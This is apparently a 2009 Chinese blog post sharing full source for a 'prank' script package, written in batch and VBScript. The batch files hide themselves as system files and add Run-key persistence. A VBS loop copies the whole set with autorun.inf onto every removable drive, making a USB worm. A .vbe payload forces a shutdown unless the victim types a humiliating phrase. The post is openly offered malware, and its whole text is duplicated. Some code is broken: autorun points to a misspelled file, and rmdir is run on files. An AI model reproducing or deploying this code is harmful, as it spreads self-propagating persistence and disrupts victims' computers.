一个整人的vbs脚本(yzy原创)
2009年08月30日
[b]声明:你们可以任意转载,但是转载是必须表明作者是yzy[/b]
我写了个整人的vbs脚本(我叫它猪头1.3),分三部分:
一、开始.bat:@copy a\搞笑.vbe "c:\搞笑.vbe"
@copy a\reg.bat "c:\reg.bat"
@copy a\delu.bat "c:\delu.bat"
@copy a\u.vbs "c:\u.vbs"
@copy a\start.bat "c:\start.bat"
@copy a\u.bat "c:\u.bat"
@copy a\autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
二、a(文件夹): 1、autorun.inf:
[AutoRun]
Open=star.bat2、delu.bat:
@rmdir /s /q c:\autorun.inf
@rmdir /s /q d:\autorun.inf
@rmdir /s /q e:\autorun.inf
@rmdir /s /q f:\autorun.inf
cls
@rmdir /s /q g:\autorun.inf
@rmdir /s /q h:\autorun.inf
@rmdir /s /q i:\autorun.inf
@rmdir /s /q j:\autorun.inf
cls
@rmdir /s /q k:\autorun.inf
@rmdir /s /q l:\autorun.inf
cls3.reg.bat:
@cd\
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
cls
4.start.bat:@copy 搞笑.vbe "c:\搞笑.vbe"
@copy reg.bat "c:\reg.bat"
@copy delu.bat "delu.bat"
@copy u.vbs "c:\u.vbs"
@copy start.bat "start.bat"
@copy u.bat "c:\u.bat"
@copy autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
5.u.bat:@attrib -a -s -h -r c:\autorun.inf
@attrib -a -s -h -r c:\reg.bat
@attrib -a -s -h -r c:\搞笑.vbe
@attrib -a -s -h -r c:\delu.bat
@attrib -a -s -h -r c:\u.vbs
@attrib -a -s -h -r c:\start.bat
@attrib -a -s -h -r c:\u.bat
@copy c:\autorun.inf d:\autorun.inf
@copy c:\autorun.inf e:\autorun.inf
@copy c:\autorun.inf f:\autorun.inf
@copy c:\autorun.inf g:\autorun.inf
@copy c:\autorun.inf h:\autorun.inf
@copy c:\autorun.inf i:\autorun.inf
@copy c:\autorun.inf j:\autorun.inf
@copy c:\autorun.inf k:\autorun.inf
@copy c:\autorun.inf l:\autorun.inf
cls
@copy c:\reg.bat d:\reg.bat
@copy c:\reg.bat e:\reg.bat
@copy c:\reg.bat f:\reg.bat
@copy c:\reg.bat g:\reg.bat
@copy c:\reg.bat h:\reg.bat
@copy c:\reg.bat i:\reg.bat
@copy c:\reg.bat j:\reg.bat
@copy c:\reg.bat k:\reg.bat
@copy c:\reg.bat l:\reg.bat
cls
@copy c:\搞笑.vbe d:\搞笑.vbe
@copy c:\搞笑.vbe e:\搞笑.vbe
@copy c:\搞笑.vbe f:\搞笑.vbe
@copy c:\搞笑.vbe g:\搞笑.vbe
@copy c:\搞笑.vbe h:\搞笑.vbe
@copy c:\搞笑.vbe i:\搞笑.vbe
@copy c:\搞笑.vbe j:\搞笑.vbe
@copy c:\搞笑.vbe k:\搞笑.vbe
@copy c:\搞笑.vbe l:\搞笑.vbe
cls
@copy c:\delu.bat d:\delu.bat
@copy c:\delu.bat e:\delu.bat
@copy c:\delu.bat f:\delu.bat
@copy c:\delu.bat g:\delu.bat
@copy c:\delu.bat h:\delu.bat
@copy c:\delu.bat i:\delu.bat
@copy c:\delu.bat j:\delu.bat
@copy c:\delu.bat k:\delu.bat
@copy c:\delu.bat l:\delu.bat
cls
@copy c:\u.vbs d:\u.vbs
@copy c:\u.vbs e:\u.vbs
@copy c:\u.vbs f:\u.vbs
@copy c:\u.vbs g:\u.vbs
@copy c:\u.vbs h:\u.vbs
@copy c:\u.vbs i:\u.vbs
@copy c:\u.vbs j:\u.vbs
@copy c:\u.vbs k:\u.vbs
@copy c:\u.vbs l:\u.vbs
cls
@copy c:\start.bat d:\start.bat
@copy c:\start.bat e:\start.bat
@copy c:\start.bat f:\start.bat
@copy c:\start.bat g:\start.bat
@copy c:\start.bat h:\start.bat
@copy c:\start.bat i:\start.bat
@copy c:\start.bat j:\start.bat
@copy c:\start.bat k:\start.bat
@copy c:\start.bat l:\start.bat
cls
@copy c:\u.bat d:\u.bat
@copy c:\u.bat e:\u.bat
@copy c:\u.bat f:\u.bat
@copy c:\u.bat g:\u.bat
@copy c:\u.bat h:\u.bat
@copy c:\u.bat i:\u.bat
@copy c:\u.bat j:\u.bat
@copy c:\u.bat k:\u.bat
@copy c:\u.bat l:\u.bat
cls
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r d:\autorun.inf
@attrib +a +s +h +r e:\autorun.inf
@attrib +a +s +h +r f:\autorun.inf
@attrib +a +s +h +r g:\autorun.inf
@attrib +a +s +h +r h:\autorun.inf
@attrib +a +s +h +r i:\autorun.inf
@attrib +a +s +h +r j:\autorun.inf
@attrib +a +s +h +r k:\autorun.inf
@attrib +a +s +h +r l:\autorun.inf
cls
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r d:\reg.bat
@attrib +a +s +h +r e:\reg.bat
@attrib +a +s +h +r f:\reg.bat
@attrib +a +s +h +r g:\reg.bat
@attrib +a +s +h +r h:\reg.bat
@attrib +a +s +h +r i:\reg.bat
@attrib +a +s +h +r j:\reg.bat
@attrib +a +s +h +r k:\reg.bat
@attrib +a +s +h +r l:\reg.bat
cls
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r d:\搞笑.vbe
@attrib +a +s +h +r e:\搞笑.vbe
@attrib +a +s +h +r f:\搞笑.vbe
@attrib +a +s +h +r g:\搞笑.vbe
@attrib +a +s +h +r h:\搞笑.vbe
@attrib +a +s +h +r i:\搞笑.vbe
@attrib +a +s +h +r j:\搞笑.vbe
@attrib +a +s +h +r k:\搞笑.vbe
@attrib +a +s +h +r l:\搞笑.vbe
cls
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r d:\delu.bat
@attrib +a +s +h +r e:\delu.bat
@attrib +a +s +h +r f:\delu.bat
@attrib +a +s +h +r g:\delu.bat
@attrib +a +s +h +r h:\delu.bat
@attrib +a +s +h +r i:\delu.bat
@attrib +a +s +h +r j:\delu.bat
@attrib +a +s +h +r k:\delu.bat
@attrib +a +s +h +r l:\delu.bat
cls
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r d:\u.vbs
@attrib +a +s +h +r e:\u.vbs
@attrib +a +s +h +r f:\u.vbs
@attrib +a +s +h +r g:\u.vbs
@attrib +a +s +h +r h:\u.vbs
@attrib +a +s +h +r i:\u.vbs
@attrib +a +s +h +r j:\u.vbs
@attrib +a +s +h +r k:\u.vbs
@attrib +a +s +h +r l:\u.vbs
cls
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r d:\start.bat
@attrib +a +s +h +r e:\start.bat
@attrib +a +s +h +r f:\start.bat
@attrib +a +s +h +r g:\start.bat
@attrib +a +s +h +r h:\start.bat
@attrib +a +s +h +r i:\start.bat
@attrib +a +s +h +r j:\start.bat
@attrib +a +s +h +r k:\start.bat
@attrib +a +s +h +r l:\start.bat
cls
@attrib +a +s +h +r c:\u.bat
@attrib +a +s +h +r d:\u.bat
@attrib +a +s +h +r e:\u.bat
@attrib +a +s +h +r f:\u.bat
@attrib +a +s +h +r g:\u.bat
@attrib +a +s +h +r h:\u.bat
@attrib +a +s +h +r i:\u.bat
@attrib +a +s +h +r j:\u.bat
@attrib +a +s +h +r k:\u.bat
@attrib +a +s +h +r l:\u.bat
cls6.u.vbs:
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
do
Set Disks =fso.Drives
For Each Disk in Disks
if Disk.IsReady and Disk.DriveType=1 then
WSHshellA.run "cmd /c c:\delu.bat",0 ,true
WSHshellA.run "cmd /c c:\u.bat",0 ,true
exit do
end if
next
wscript.sleep 2000
loop
7.搞笑.vbe:on error resume next
dim WSHshellA
Dim msg,sapi
set sapi.Voice = colVoice.Item(cnVoice)
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗?哈哈!赶紧说:我是猪头的爸爸的猪头??不说我是猪头这十二个字,就60秒后关机关你电脑,不信,试试??????"" ",0 ,true
Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
dim a
do while(a "我是猪头的爸爸的猪头")
a = inputbox ("说我是猪头的爸爸的猪头??,就不关机,快撒,说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy QQ:1033742067 ","说不说","在这输入那十二个字就不会关机了",8000,7000)
Msg="真的吗 你真的是猪头 看不出来哦"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
loop
msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
Msg="哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
2009年08月30日
[b]声明:你们可以任意转载,但是转载是必须表明作者是yzy[/b]
我写了个整人的vbs脚本(我叫它猪头1.3),分三部分:
一、开始.bat:@copy a\搞笑.vbe "c:\搞笑.vbe"
@copy a\reg.bat "c:\reg.bat"
@copy a\delu.bat "c:\delu.bat"
@copy a\u.vbs "c:\u.vbs"
@copy a\start.bat "c:\start.bat"
@copy a\u.bat "c:\u.bat"
@copy a\autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
二、a(文件夹): 1、autorun.inf:
[AutoRun]
Open=star.bat2、delu.bat:
@rmdir /s /q c:\autorun.inf
@rmdir /s /q d:\autorun.inf
@rmdir /s /q e:\autorun.inf
@rmdir /s /q f:\autorun.inf
cls
@rmdir /s /q g:\autorun.inf
@rmdir /s /q h:\autorun.inf
@rmdir /s /q i:\autorun.inf
@rmdir /s /q j:\autorun.inf
cls
@rmdir /s /q k:\autorun.inf
@rmdir /s /q l:\autorun.inf
cls3.reg.bat:
@cd\
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
cls
4.start.bat:@copy 搞笑.vbe "c:\搞笑.vbe"
@copy reg.bat "c:\reg.bat"
@copy delu.bat "delu.bat"
@copy u.vbs "c:\u.vbs"
@copy start.bat "start.bat"
@copy u.bat "c:\u.bat"
@copy autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
5.u.bat:@attrib -a -s -h -r c:\autorun.inf
@attrib -a -s -h -r c:\reg.bat
@attrib -a -s -h -r c:\搞笑.vbe
@attrib -a -s -h -r c:\delu.bat
@attrib -a -s -h -r c:\u.vbs
@attrib -a -s -h -r c:\start.bat
@attrib -a -s -h -r c:\u.bat
@copy c:\autorun.inf d:\autorun.inf
@copy c:\autorun.inf e:\autorun.inf
@copy c:\autorun.inf f:\autorun.inf
@copy c:\autorun.inf g:\autorun.inf
@copy c:\autorun.inf h:\autorun.inf
@copy c:\autorun.inf i:\autorun.inf
@copy c:\autorun.inf j:\autorun.inf
@copy c:\autorun.inf k:\autorun.inf
@copy c:\autorun.inf l:\autorun.inf
cls
@copy c:\reg.bat d:\reg.bat
@copy c:\reg.bat e:\reg.bat
@copy c:\reg.bat f:\reg.bat
@copy c:\reg.bat g:\reg.bat
@copy c:\reg.bat h:\reg.bat
@copy c:\reg.bat i:\reg.bat
@copy c:\reg.bat j:\reg.bat
@copy c:\reg.bat k:\reg.bat
@copy c:\reg.bat l:\reg.bat
cls
@copy c:\搞笑.vbe d:\搞笑.vbe
@copy c:\搞笑.vbe e:\搞笑.vbe
@copy c:\搞笑.vbe f:\搞笑.vbe
@copy c:\搞笑.vbe g:\搞笑.vbe
@copy c:\搞笑.vbe h:\搞笑.vbe
@copy c:\搞笑.vbe i:\搞笑.vbe
@copy c:\搞笑.vbe j:\搞笑.vbe
@copy c:\搞笑.vbe k:\搞笑.vbe
@copy c:\搞笑.vbe l:\搞笑.vbe
cls
@copy c:\delu.bat d:\delu.bat
@copy c:\delu.bat e:\delu.bat
@copy c:\delu.bat f:\delu.bat
@copy c:\delu.bat g:\delu.bat
@copy c:\delu.bat h:\delu.bat
@copy c:\delu.bat i:\delu.bat
@copy c:\delu.bat j:\delu.bat
@copy c:\delu.bat k:\delu.bat
@copy c:\delu.bat l:\delu.bat
cls
@copy c:\u.vbs d:\u.vbs
@copy c:\u.vbs e:\u.vbs
@copy c:\u.vbs f:\u.vbs
@copy c:\u.vbs g:\u.vbs
@copy c:\u.vbs h:\u.vbs
@copy c:\u.vbs i:\u.vbs
@copy c:\u.vbs j:\u.vbs
@copy c:\u.vbs k:\u.vbs
@copy c:\u.vbs l:\u.vbs
cls
@copy c:\start.bat d:\start.bat
@copy c:\start.bat e:\start.bat
@copy c:\start.bat f:\start.bat
@copy c:\start.bat g:\start.bat
@copy c:\start.bat h:\start.bat
@copy c:\start.bat i:\start.bat
@copy c:\start.bat j:\start.bat
@copy c:\start.bat k:\start.bat
@copy c:\start.bat l:\start.bat
cls
@copy c:\u.bat d:\u.bat
@copy c:\u.bat e:\u.bat
@copy c:\u.bat f:\u.bat
@copy c:\u.bat g:\u.bat
@copy c:\u.bat h:\u.bat
@copy c:\u.bat i:\u.bat
@copy c:\u.bat j:\u.bat
@copy c:\u.bat k:\u.bat
@copy c:\u.bat l:\u.bat
cls
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r d:\autorun.inf
@attrib +a +s +h +r e:\autorun.inf
@attrib +a +s +h +r f:\autorun.inf
@attrib +a +s +h +r g:\autorun.inf
@attrib +a +s +h +r h:\autorun.inf
@attrib +a +s +h +r i:\autorun.inf
@attrib +a +s +h +r j:\autorun.inf
@attrib +a +s +h +r k:\autorun.inf
@attrib +a +s +h +r l:\autorun.inf
cls
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r d:\reg.bat
@attrib +a +s +h +r e:\reg.bat
@attrib +a +s +h +r f:\reg.bat
@attrib +a +s +h +r g:\reg.bat
@attrib +a +s +h +r h:\reg.bat
@attrib +a +s +h +r i:\reg.bat
@attrib +a +s +h +r j:\reg.bat
@attrib +a +s +h +r k:\reg.bat
@attrib +a +s +h +r l:\reg.bat
cls
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r d:\搞笑.vbe
@attrib +a +s +h +r e:\搞笑.vbe
@attrib +a +s +h +r f:\搞笑.vbe
@attrib +a +s +h +r g:\搞笑.vbe
@attrib +a +s +h +r h:\搞笑.vbe
@attrib +a +s +h +r i:\搞笑.vbe
@attrib +a +s +h +r j:\搞笑.vbe
@attrib +a +s +h +r k:\搞笑.vbe
@attrib +a +s +h +r l:\搞笑.vbe
cls
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r d:\delu.bat
@attrib +a +s +h +r e:\delu.bat
@attrib +a +s +h +r f:\delu.bat
@attrib +a +s +h +r g:\delu.bat
@attrib +a +s +h +r h:\delu.bat
@attrib +a +s +h +r i:\delu.bat
@attrib +a +s +h +r j:\delu.bat
@attrib +a +s +h +r k:\delu.bat
@attrib +a +s +h +r l:\delu.bat
cls
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r d:\u.vbs
@attrib +a +s +h +r e:\u.vbs
@attrib +a +s +h +r f:\u.vbs
@attrib +a +s +h +r g:\u.vbs
@attrib +a +s +h +r h:\u.vbs
@attrib +a +s +h +r i:\u.vbs
@attrib +a +s +h +r j:\u.vbs
@attrib +a +s +h +r k:\u.vbs
@attrib +a +s +h +r l:\u.vbs
cls
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r d:\start.bat
@attrib +a +s +h +r e:\start.bat
@attrib +a +s +h +r f:\start.bat
@attrib +a +s +h +r g:\start.bat
@attrib +a +s +h +r h:\start.bat
@attrib +a +s +h +r i:\start.bat
@attrib +a +s +h +r j:\start.bat
@attrib +a +s +h +r k:\start.bat
@attrib +a +s +h +r l:\start.bat
cls
@attrib +a +s +h +r c:\u.bat
@attrib +a +s +h +r d:\u.bat
@attrib +a +s +h +r e:\u.bat
@attrib +a +s +h +r f:\u.bat
@attrib +a +s +h +r g:\u.bat
@attrib +a +s +h +r h:\u.bat
@attrib +a +s +h +r i:\u.bat
@attrib +a +s +h +r j:\u.bat
@attrib +a +s +h +r k:\u.bat
@attrib +a +s +h +r l:\u.bat
cls6.u.vbs:
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
do
Set Disks =fso.Drives
For Each Disk in Disks
if Disk.IsReady and Disk.DriveType=1 then
WSHshellA.run "cmd /c c:\delu.bat",0 ,true
WSHshellA.run "cmd /c c:\u.bat",0 ,true
exit do
end if
next
wscript.sleep 2000
loop
7.搞笑.vbe:on error resume next
dim WSHshellA
Dim msg,sapi
set sapi.Voice = colVoice.Item(cnVoice)
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗?哈哈!赶紧说:我是猪头的爸爸的猪头??不说我是猪头这十二个字,就60秒后关机关你电脑,不信,试试??????"" ",0 ,true
Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
dim a
do while(a "我是猪头的爸爸的猪头")
a = inputbox ("说我是猪头的爸爸的猪头??,就不关机,快撒,说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy QQ:1033742067 ","说不说","在这输入那十二个字就不会关机了",8000,7000)
Msg="真的吗 你真的是猪头 看不出来哦"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
loop
msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
Msg="哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"